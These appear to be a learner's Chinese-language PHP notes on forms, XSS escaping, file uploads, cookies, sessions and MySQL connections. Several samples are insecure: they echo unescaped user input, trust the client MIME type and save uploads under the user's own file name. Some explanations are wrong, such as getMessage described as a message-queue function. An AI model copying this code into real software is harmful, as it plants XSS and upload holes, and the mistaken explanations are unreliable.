PHP学习(后部分)

PHP表单

表单

有一点很重要的事情值得注意,当处理 HTML 表单时,PHP 能把来自 HTML 页面中的表单元成可 供 PHP 脚本使用。

下面的实例包含了一个 HTML 表单,带有两个输入框和一个提交按钮。

完整代码:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>用户登录页面</title>
</head>
<body>
    <form action="1.php"method="post">
        名字:<input type="text" name="fname"><br></br>
        年龄:<input type="text"name="age"><br></br>
           <input type="submit"value="提交">
    </form>
</body>
</html>
<html>
<head>
<meta charset="utf-8">
</head>
欢迎<?php
echo $_POST["fname"];
?><br>
你的年龄是
<?php
echo $_POST["age"];
?>
</html>

PHP 获取下拉菜单的数据

PHP 下拉菜单单选

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
    <form action="2.php" method="get">
<select name="q">
<option value="">请选择一个站点</option>
<option value="baidu">baidu</option>
<option value="google">google</option>
<option value="jd">jd</option>
</select>
</br>
<input type="submit" value="提交">
</form>
</body>
</html>
<?php
$x=$_GET['q'];
if($x=="baidu"){
    echo "www.baidu.com";
}elseif($x=="google"){
    echo "www.google.com";
}else{
    echo "www.jd.com";
}
?>

PHP 下拉菜单多选

如果下拉菜单是多选的( multiple="multiple"),我们可以通过将设置 select name="q[]" 以数 组的方式获取,以下使用 POST 方式提交,代码如下所示:

完整代码:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>login</title>
</head>
<body>
<form action="3.php"method="post">
<select multiple="multiple" name="login[]">
<option value="baidu">baidu</option>
<option value="taobao">taobao</option>
<option value="jd">id</option>
<option value="google">google</option>
</select>
<input type="submit" value="提交">
</form>
</body>
</html>
<?php
$x=$_POST['login'];
foreach($x as $key)
{
    echo $key."<.br>";
}
?>

单选按钮表单()

PHP 单选按钮表单中 name 属性的值是一致的,value 值是不同的,代码如下所示:

checkbox 复选框

PHP checkbox 复选框可以选择多个值:

完整代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <form action="4.php"method="get">
        <input type="checkbox" name="q[]" value="RUNOOB"/>Runoob<br>
        <input type="checkbox" name="q[]" value="GOOGLE" />Google<br>
        <input type="checkbox" name="q[]" value="TAOBAO" />Taobao</br>
        <input type="submit" value="提交">
    </form>
</html>
<?php
$x=$_GET['q'];
foreach($x as $qq)
{
    echo $qq."<br>";
}
?>

表单验证

在处理PHP表单时我们需要考虑安全性。

eg:必须与可选文本字段,单选按钮,及提交按 钮:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <form action="5.php"method="post">
    名字: <input type="text" name="name"><br>
    邮件:<input type="text" name="email"><br>
    爱好:
    <input type="checkbox" name="aihao[]"value="足球">足球
    <input type="checkbox" name="aihao[]"value="篮球">篮球
    <input type="checkbox" name="aihao[]"value="羽毛球">羽毛球
    <input type="checkbox" name="aihao[]"value="看书">看书
    <input type="checkbox" name="aihao[]"value="写字">写字
    <input type="checkbox" name="aihao[]"><br>
    备注:
    <textarea name="beizhu" ></textarea><br>
    性别:
    <input type="radio" name="xingbie"value="男">男
    <input type="radio" name="xingbie"value="女">女<br>
    <input type="submit" value="提交">
    </form>
</html>
<?php
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$aihao=$_REQUEST['aihao'];
$beizhu=$_REQUEST['beizhu'];
$xingbie=$_REQUEST['xingbie'];
echo "名字为:".$name."</br>";
echo "邮箱为:".$email."</br>";
echo "爱好为:";
foreach($aihao as $ah){
echo $ah." ";
};
echo "</br>备注为:".$beizhu."</br>";
echo "性别为:".$xingbie."</br>";
?>

这样的代码拥有漏洞

可以进行xss

保护方法:

htmlspecialchars()方法

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

修改后:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <form action="5.php"method="post">
    名字: <input type="text" name="name"><br>
    邮件:<input type="text" name="email"><br>
    爱好:
    <input type="checkbox" name="aihao[]"value="足球">足球
    <input type="checkbox" name="aihao[]"value="篮球">篮球
    <input type="checkbox" name="aihao[]"value="羽毛球">羽毛球
    <input type="checkbox" name="aihao[]"value="看书">看书
    <input type="checkbox" name="aihao[]"value="写字">写字
    <input type="checkbox" name="aihao[]"><br>
    备注:
    <textarea name="beizhu" ></textarea><br>
    性别:
    <input type="radio" name="xingbie"value="男">男
    <input type="radio" name="xingbie"value="女">女<br>
    <input type="submit" value="提交">
    </form>
</html>
<?php
$name=htmlspecialchars($_REQUEST['name']);
$email=htmlspecialchars($_REQUEST['email']);
$aihao=$_REQUEST['aihao'];
$beizhu=htmlspecialchars($_REQUEST['beizhu']);
$xingbie=htmlspecialchars($_REQUEST['xingbie']);
echo "名字为:".$name."</br>";
echo "邮箱为:".$email."</br>";
echo "爱好为:";
if($aihao!=""){
    foreach($aihao as $ah){
    echo htmlspecialchars($ah)." ";}
    }else{
    echo "没有爱好</br>";
    }    
echo "</br>备注为:".$beizhu."</br>";
echo "性别为:".$xingbie."</br>";
?>

必填以及验证

判断变量是否为空

使用empty()

可结合if判断

<?php
$a="";
if(empty($a)){
echo "kong";
}else{
echo "bukong";
}
?>

PHP文件包含

在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。

include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。

include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:

require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。

include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么请使用 include。否 则,在框架、CMS 或者复杂的 PHP 应用程序编程中,请始终使用 require 向执行流引用关键文 件。这有助于提高应用程序的安全性和完整性,在某个关键文件意外丢失的情况下。

PHP include 和 require 语句

基础实例

假设您有一个标准的页头文件,名为 "header.php"。如需在页面中引用这个页头文件,请使用 include/require

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php include 'header.php'; ?>
<h1>欢迎来到我的主页!</h1>
<p>一些文本。</p>
</body>
</html>

文件以及文件上传

通过 PHP,可以把文件上传到服务器。

目录结构

|-----upload # 文件上传的目录
|-----index.html # 表单文件
|-----upload.php # php 上传代码
创建一个文件上传表单

供上传文件的 HTML 表单:

创建上传脚本:
<head>
<meta charset="utf-8">
</head>
<?php
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
?>
增加防止上传文件报错提示:
 
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>

第一个参数是表单的 input name,第二个下标可以是 "name"、"type"、"size"、"tmp_name" 或 "error"。

关于$FILES[ ][ ]理解:

$_FILES["file"]["name"] - 上传文件的名称

$_FILES["file"]["type"] - 上传文件的类型

$_FILES["file"]["size"] - 上传文件的大小,以字节计

$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称

$_FILES["file"]["error"] - 由文件上传导致的错误代码

$_FILES["file"]["error"] - 由文件上传导致的错误代码
  • UPLOAD_ERR_OK:没有错误发生,文件上传成功。
  • UPLOAD_ERR_INI_SIZE:上传的文件超过了服务器允许的最大值。
  • UPLOAD_ERR_FORM_SIZE:上传的文件超过了HTML表单中指定的最大值。
  • UPLOAD_ERR_PARTIAL:文件只有部分被上传。
  • UPLOAD_ERR_NO_FILE:没有文件被上传。
  • UPLOAD_ERR_NO_TMP_DIR:服务器找不到临时文件夹。
  • UPLOAD_ERR_CANT_WRITE:服务器无法将文件写入到磁盘。
  • UPLOAD_ERR_EXTENSION:一个PHP扩展中止了文件上传。
上传限制
对于explode()的理解:

explode()是一个字符串函数,用于将字符串拆分为数组。它接受两个参数:分隔符和要拆分的字符串。

array explode ( string $delimiter , string $string [, int $limit = PHP_INT_MAX ] )
  • $delimiter:指定拆分字符串的分隔符。可以是一个字符或字符串。
  • $string:要拆分的原始字符串。
  • $limit(可选):指定返回的数组的最大长度。如果提供了限制,则最多会返回$limit个元素。如果省略或设置为PHP_INT_MAX,则不会有限制。

explode()函数将字符串按照指定的分隔符进行拆分,并返回一个包含拆分后的子字符串的数组。每个子字符串都是根据分隔符进行切割的结果。

eg:

<?php
$a="nuc.317.hz.lxl.lhl";
$x=explode(".",$a);
foreach($x as $aa=>$aaa)
{
    echo $aa.":".$aaa."<br>";
}
?>

结果:

对于end()的理解:

end()函数用于将内部指针移动到数组的最后一个元素,并返回该元素的值。它通常与数组相关联,用于访问数组中的最后一个元素。

eg:

$fruits = array('apple', 'banana', 'orange');  
$lastFruit = end($fruits);  
echo $lastFruit; // 输出 "orange"

:每次调用end()函数都会将内部指针移动到数组的最后一个元素。如果想要多次使用同一个数组的最后一个元素,可以将其存储在一个变量中,而不是多次调用end()函数。

对于in_arrayt()的理解:

用于检查一个值是否存在于数组中,

代码框架:

in_array(value, array, strict): bool
  • value:要查找的值。
  • array:要搜索的数组。
  • strict(可选):指定比较方式。默认情况下,in_array()函数使用宽松的比较方式(即比较值)。如果设置了strict参数为true,则使用严格比较方式(即比较值和类型)。

:函数返回一个布尔值,如果找到匹配的值,则返回true;否则返回false

eg:

$fruits = array('apple', 'banana', 'orange');  
  
if (in_array('apple', $fruits)) {  
    echo "找到了苹果!";  
} else {  
    echo "没有找到苹果。";  
}

        

保护完整代码:

<head>
<meta charset="utf-8">
</head>
<?php
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); 
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 20480011111) 
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "非法的文件格式";
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
    <form action="nuc_test1.php" method="post"enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit"value="提交">
    </form>
</body>
</html>
对于同时检查文件类型和其后缀名称的理解:
  1. 文件类型和后缀名是文件属性的两个不同方面。文件类型通常由文件的内部内容决定,例如文件的元数据或文件内容本身的类型。而后缀名则是由操作系统根据文件的元数据(如MIME类型)或文件的内部结构来识别的。有时候,文件类型和后缀名可能会不一致,比如一个文本文件可能会被命名为“.jpg”。在这种情况下,仅检查文件类型可能会遗漏这种不一致性,从而允许不符合要求的文件上传。通过同时检查文件后缀名,可以增加一层保障,确保上传的文件类型与允许的类型完全匹配。
  2. 用户可能会尝试通过修改文件后缀名来尝试绕过文件类型检查。例如,用户可能会将一个非图片文件的后缀名更改为“.jpg”,尝试欺骗服务器该文件是一个图片。通过检查文件后缀名,可以防止这种情况的发生。
保存被上传的文件
对于file_exists()的理解

file_exists()函数用于检查一个文件或目录是否存在

语法:

bool file_exists ( string $filename )

注:参数$filename是要检查的文件或目录的路径。可以是一个相对路径或绝对路径。

如果文件或目录存在,则返回true;否则返回false

eg:

$filename = 'example.txt';  
if (file_exists($filename)) {  
    echo "文件存在";  
} else {  
    echo "文件不存在";  
}

注:file_exists()函数仅检查文件或目录是否存在,而不验证文件的权限或其他属性。如果需要进一步验证文件的属性,可以使用其他函数,如is_file()is_dir()

**is_file()函数用于检查指定的路径是否是一个文件。如果路径存在并且是一个文件,则返回true;否则返回false

**is_dir()函数用于检查指定的路径是否是一个目录。如果路径存在并且是一个目录,则返回true;否则返回false

对于move_uploaded_file()的理解:

move_uploaded_file()函数用于将通过HTTP上传的文件移动到指定的目标位置。

语法:

bool move_uploaded_file ( string $source , string $destination )
  • $source指定要移动的上传文件的临时位置。通常,这个位置是由$_FILES超全局变量中的tmp_name字段提供的。
  • $destination指定要将上传文件移动到的目标位置。可以是任何有效的文件路径。
  • eg:
$source = $_FILES['file']['tmp_name'];  // 获取上传文件的临时位置  
$destination = 'uploads/' . $_FILES['file']['name'];  // 指定目标位置,假设文件上传目录为"uploads"  
  
if (move_uploaded_file($source, $destination)) {  
    echo "文件移动成功!";  
} else {  
    echo "文件移动失败!";  
}

_____________________________________________________________________________

上面的实例在服务器的 PHP 临时文件夹中创建了一个被上传文件的临时副本。

这个临时的副本文件会在脚本结束时消失。要保存被上传的文件,我们需要把它拷贝到另外的位 置:

完整代码:

<head>
<meta charset="utf-8">
</head>
<?php
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); 
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 20480011111) 
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
if (file_exists("H:\UPLOAD/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], "H:\UPLOAD/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}
else
{
echo "非法的文件格式";
}

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
    <form action="nuc_test1.php" method="post"enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit"value="提交">
    </form>
</body>
</html>

运行结果:

COOIKE

cookie 常用于识别用户。

cookie 常用于识别用户。cookie 是一种服务器留在用户计算机上的小文件。每当同一台计算机通 过浏览器请求页面时,这台计算机将会发送 cookie。通过 PHP,您能够创建并取回 cookie 的 值。

创建cookie方法:

setcookie() 函数用于设置 cookie。

setcookie(name, value, expire, path, domain);

参数描述
name必需。规定 cookie 的名称。
value必需。规定 cookie 的值。
expire可选。规定 cookie 的有效期。
path可选。规定 cookie 的服务器路径。
domain可选。规定 cookie 的域名。
secure可选。规定是否通过安全的 HTTPS 连接来传输 cookie。

eg:

创建名为 "user" 的 cookie,并为它赋值 "runoob"。我们也规定了此 cookie 在一小时后过期:

<?php
setcookie("user", "runoob", time()+3600);
?>
<html>

注:在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码。(为 防止 URL 编码,请使用 setrawcookie() 取而代之。)

另一种设置时间的方法:

<?php
$expire=time()+60*60*24*30;
setcookie("user", "runoob", $expire);
?>
取回cookie值的方法:

PHP 的 $_COOKIE 变量用于取回 cookie 的值。

<?php
$expire=time()+60*60*24*30;
setcookie("user", "runoob", $expire);
// 输出 cookie 值
echo $_COOKIE["user"];
// 查看所有 cookie
var_dump($_COOKIE);
?>
对于isset()的理解

isset()函数用于检查一个变量是否已设置并且不为null。它接受一个或多个参数,每个参数都可以是一个变量或一个数组元素。

isset()函数返回一个布尔值,如果变量已设置且不为null,则返回true;否则返回false。

故而可用其判断用户是否登录

<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
if (isset($_COOKIE["user"]))
echo "欢迎 " . $_COOKIE["user"] . "!<br>";
else
echo "普通访客!<br>";
?>
</body>
</html>
删除cookie的方法:

当删除 cookie 时,您应当使过期日期变更为过去的时间点。

eg:

<?php
// 设置 cookie 过期时间为过去 1 小时
setcookie("user", "", time()-3600);
?>

SESSION(session)

PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设 置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。

深入解释:

Session 的工作机制:

为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。

开始 PHP Session

把用户信息存储到 PHP session 中之前,首先必须启动会话。

session_start():用于启动会话

注:session_start() 函数必须位于 标签之前:

<?php session_start(); ?>
<html>
<body>
</body>
</html>

上面的代码会向服务器注册用户的会话,以便您可以开始保存用户信息,同时会为用户会话分配 一个 UID。

存储 Session 变量

存储和取回 session 变量的方法是使用 PHP $_SESSION 变量:

<?php
session_start();
// 存储 session 数据
$_SESSION['views']=1;
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
// 检索 session 数据
echo "浏览量:". $_SESSION['views'];
?>
</body>
</html>

eg:创建了一个简单的 page-view 计数器。isset() 函数检测是否已设置 "views" 变量。如果已设置 "views" 变量,我们累加计数器。如果 "views" 不存在,则创建 "views" 变量, 并把它设置为 1:

<?php
session_start();
if(isset($_SESSION['views']))
{
$_SESSION['views']=$_SESSION['views']+1;
}
else
{
$_SESSION['views']=1;
}
echo "浏览量:". $_SESSION['views'];
?>
销毁 Session

删除某些 session 数据,可以使用 unset() 或 session_destroy() 函数。

对于unset()理解

unset() 是一个用于销毁指定变量的函数。它用于释放由 isset() 函数或变量本身分配的内存

注:unset() 函数的作用是重置变量的值,将其设置为 null,并释放变量所占用的内存。当使用 unset() 函数后,被销毁的变量将不再可用。

语法:

unset($variable);

其中 $variable 是要销毁的变量。

eg:指定销毁某变量

<?php
session_start();
if(isset($_SESSION['views']))
{
unset($_SESSION['views']);
}
?>
对于session_destroy()理解

用于销毁当前活动的会话中的所有数据,并结束会话

作用具体解释:

  1. 销毁所有会话数据:当你调用 session_destroy() 函数时,会话中存储的所有数据都将被销毁。这意味着会话中保存的用户信息、购物车内容、登录状态等都将被清除。
  2. 结束会话:session_destroy() 函数还会结束当前会话。这意味着在服务器端,与当前会话相关的资源将被释放,例如会话 ID 将被删除,相关的服务器端数据也将被清除。
  3. 删除 cookie:如果会话是通过 cookie 进行的,session_destroy() 函数还会删除与当前会话关联的 cookie。这意味着在客户端,与会话相关的 cookie 将被删除,使得下一次访问网站时需要重新创建新的会话。

需要注意的是,session_destroy() 只会销毁当前会话的数据,并不会关闭整个 PHP 会话机制。这意味着你可以在之后重新开始一个新的会话。

这个函数常用于用户登出、会话过期或者你希望立即结束当前会话并清除所有相关数据的情况下。

eg:

<?php
session_destroy();
?>

实验:简单的注册页面

后端代码:

<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
$ERR="注册成功";
echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" .
$_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR."<br>";
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">

前端代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>NUC登录系统</title>
    </head>
    <body>
        <form action="nuc_test1.php" metho="post">
        账号:<input type="name" name="admin" value="请输入账号"></br>
        密码:<input type="password" name="password"value=""></br>
        <input type="submit"value="登录">
        </form>
        <a href="zhuce.php">注册</a>
    </body>
</html>

PHP数据库

MYSQL 简介

通过 PHP,可以连接和操作数据库。

MySQL 是跟 PHP 配套使用的最流行的开源数据库系统

mysql解释:

MySQL 是一种在 Web 上使用的数据库系统。

MySQL 是一种在服务器上运行的数据库系统。

MySQL 不管在小型还是大型应用程序中,都是理想的选择。

MySQL 是非常快速,可靠,且易于使用的。

MySQL 支持标准的 SQL。 MySQL 在一些平台上编译。

MySQL 中的数据存储在表中。表格是一个相关数据的集合,它包含了列和行。

在分类存储信息时,数据库非常有用。

eg:一个公司的数据库可能拥有以下表:

Employees

Products

Customers

Orders

PHP + MySQL

PHP 与 MySQL 结合是跨平台的。(您可以在 Windows 上开发,在 Unix 平台上应用。)

查询

查询是一种询问或请求。

通过 MySQL,我们可以向数据库查询具体的信息,并得到返回的记录集。

MYSQL 连接

PHP 连接 MySQL
俩种方式:

MySQLi extension ("i" 意为 improved)

**PDO (PHP Data **Objects)

注:习惯哪个用哪个

MySQLi PDO 有它们自己的优势:

PDO 应用在 12 种不同数据库中

MySQLi 只针对 MySQL 数据库

建议:

如果你的项目需要在多种数据库中切换,建议使用 PDO ,这样你只需要修改连接字符串和 部分查询语句即可。

使用 MySQLi, 如果不同数据库,你需要重新编写所有代码,包括查询。 两者都是面向对象, 但 MySQLi 还提供了 API 接口。

两者都支持预处理语句。 预处理语句可以防止 SQL 注入,对于 web 项目的安全性是非常重要 的。

MySQLi 和 PDO 连接 MySQL 实例

在本章节及接下来的章节中,我们会使用以下三种方式来演示 PHP 操作 MySQL:

MySQLi (面向对象)

MySQLi (面向过程)

PDO

MySQLi 安装

phpinfo()

phpinfo() 是一个 PHP 内置函数,用于输出关于 PHP 安装和配置的信息。它可以提供有关 PHP 版本、服务器配置、扩展模块和 PHP 配置选项的详细信息。

可以通过 phpinfo() 查看是否安装成功:

连接 MySQL

在我们 MySQL 数据库前,我们需要先连接到数据库服务器:

new mysqli()用法:  

new mysqli() 是 PHP 中用于建立 MySQL 数据库连接的函数。

语法:

mysqli_connect(string $host = '', string $username = '', string $password = '', string $database = '', int $port = 0, string $socket = '')

参数说明:

  • $host:数据库服务器的主机名。默认为空,表示使用 localhost 作为本地数据库服务器。
  • $username:连接数据库的用户名。默认为空,表示使用当前登录用户的用户名。
  • $password:连接数据库的密码。默认为空,表示使用当前登录用户的密码。
  • $database:要连接的数据库名称。默认为空,表示使用默认的数据库。
  • $port:数据库服务器的端口号。默认为 0,表示使用默认的 MySQL 端口号(通常是 3306)。
  • $socket:数据库服务器的套接字文件路径。默认为空,表示使用默认的套接字文件路径。

:通过判断 $conn->connect_error 的值来检查连接是否出现错误。如果 $conn->connect_error 为 true,表示连接尝试失败,可以通过 $conn->error 属性获取错误的具体原因。如果 $conn->connect_error 为 false,表示连接成功。

new PDO()用法:

使用new PDO可以创建一个与数据库连接的对象。PDO(PHP Data Objects)是一个用于与数据库交互的扩展库。通过使用PDO,你可以使用统一的方式连接和操作不同类型的数据库,如MySQL、SQLite、Oracle等。

对于try和catch的简单理解:

try{代码}catch{前面代码报错,执行}

对于getMessage理解:

getMessage函数通常用于从消息队列中获取消息。消息队列是一种在应用程序之间传递消息的机制,通常用于异步通信和任务处理。

基本用法:

// 连接数据库  
$dsn = 'mysql:host=localhost;dbname=mydatabase'; // 数据源名称  
$username = 'your_username'; // 数据库用户名  
$password = 'your_password'; // 数据库密码  
  
try {  
    $pdo = new PDO($dsn, $username, $password);  
} catch (PDOException $e) {  
    // 处理连接错误  
    echo 'Connection failed: ' . $e->getMessage();  
}  
  
// 在连接成功后,可以使用$pdo对象执行SQL查询和其他数据库操作

:你需要将$dsn变量设置为你的数据库连接信息。

格式为驱动程序://主机名;数据库名。例如,对于MySQL数据库,可以使用mysql:host=localhost;dbname=mydatabase

try块中,我们尝试创建一个新的PDO对象并存储在$pdo变量中。如果连接失败,会抛出一个PDOException异常,你可以在catch块中处理这个异常并输出错误信息。

一旦你成功连接到数据库,你可以使用$pdo对象执行SQL查询和其他数据库操作。例如,执行查询可以使用$pdo->query($sql)方法,执行插入、更新或删除操作可以使用$pdo->exec($sql)方法

实例:

实例 (MySQLi - 面向对象):
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "username";
$password = "password";
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
echo "连接成功";
?>
//检查连接
if (mysqli_connect_error()) {
die("数据库连接失败: " . mysqli_connect_error());
}
实例 (MySQLi - 面向过程)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "连接成功";
?>
实例 (PDO)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
try {
$conn = new PDO("mysql:host=$servername;", $username, $password);
echo "连接成功";
}
catch(PDOException $e)
{
echo $e->getMessage();
}
?>
//try{代码}catch{前面代码报错,执行}
关闭连接

连接在脚本执行完后会自动关闭。你也可以使用以下代码来关闭连接:

实例 (MySQLi - 面向对象)
$conn->close();
实例 (MySQLi - 面向过程)
mysqli_close($conn);
实例 (PDO)
$conn = null;

创建数据库与表,插入数据

数据库存有一个或多个表。

你需要 CREATE 权限来创建或删除 MySQL 数据库

数据库的整体结构如下:

电脑(服务器)->数据库软件(mysql、mssql、甲骨文、mariadb....)-> 数据库-> 表->字段

数据库进入方法:

1、直接进入

2、使用软件连接

3、使用phpmyadmin //注意,PHP版本要高于7.0才可以直接使用 进入sql代码,在mysql的bin路径输入 .\mysql.exe -h 127.0.0.1 -u root -p

数据库操纵语句

查询MySQL内的数据库

show databases;

创建库

create database kkk;

删除库

drop database kkk;

创建表,之前需要先构思好表单的结构,然后创建每个表的属性

代码

use kkk; //进入库
//创建kkk_tbl表
CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` INT(11) NOT NULL,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

  参数解释:

#NOT NULL - 每一行都必须含有值(不能为空),null 值是不允许的。

#DEFAULT value - 设置默认值

#UNSIGNED - 使用无符号数值类型,0 及正数

#AUTO INCREMENT - 设置 MySQL 字段的值在新增记录时每次自动增长 1

#PRIMARY KEY - 设置数据表中每条记录的唯一标识。 通常列的 PRIMARY KEY 设置为 ID 数 值,与 AUTO_INCREMENT 一起使用。

查看表的框架

增加数据

insert into kkk_tbl(user,pass,phone) values('admin','123456','1380000000');

删除数据

delete from kkk_tbl where user="admin";

接下来开始PHP联动

首先php创建数据库

对于.mysqli_query()

执行某个针对数据库的查询。第一个参数是连接数据库的变量,第二个参数是对数据库进行操作的变量

对于mysqli_query()的理解:

执行某个针对数据库的查询。第一个参数是连接数据库的变量,第二个参数是对数据库进行操作的变量

eg:

<?php  
// 连接到数据库  
$link = mysqli_connect("localhost", "username", "password", "database");  
  
// 检查连接是否成功  
if (!$link) {  
    die("连接失败: " . mysqli_connect_error());  
}  
  
// 执行查询  
$query = "SELECT * FROM users";  
$result = mysqli_query($link, $query);  
  
// 检查查询是否成功  
if (!$result) {  
    die("查询失败: " . mysqli_error($link));  
}  
  
// 处理查询结果  
while ($row = mysqli_fetch_assoc($result)) {  
    echo "用户名:" . $row["username"] . "<br>";  
    echo "邮箱:" . $row["email"] . "<br>";  
    // 处理其他字段...  
}  
  
// 关闭连接  
mysqli_close($link);  
?>
对于mysqli_error理解:

mysqli_error是一个函数,用于获取与MySQLi连接关联的最后一个错误消息。它接受一个MySQLi连接对象作为参数,并返回一个字符串,其中包含与该连接关联的最后一个错误消息。

eg:

<?php  
// 连接到数据库  
$link = mysqli_connect("localhost", "username", "password", "database");  
  
// 检查连接是否成功  
if (!$link) {  
    die("连接失败: " . mysqli_connect_error());  
}  
  
// 执行查询  
$query = "SELECT * FROM nonexistent_table";  
$result = mysqli_query($link, $query);  
  
// 检查查询是否成功  
if (!$result) {  
    echo "查询失败: " . mysqli_error($link);  
} else {  
    // 处理查询结果...  
}  
  
// 关闭连接  
mysqli_close($link);  
?>
实例:

面向过程:

//面向过程
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
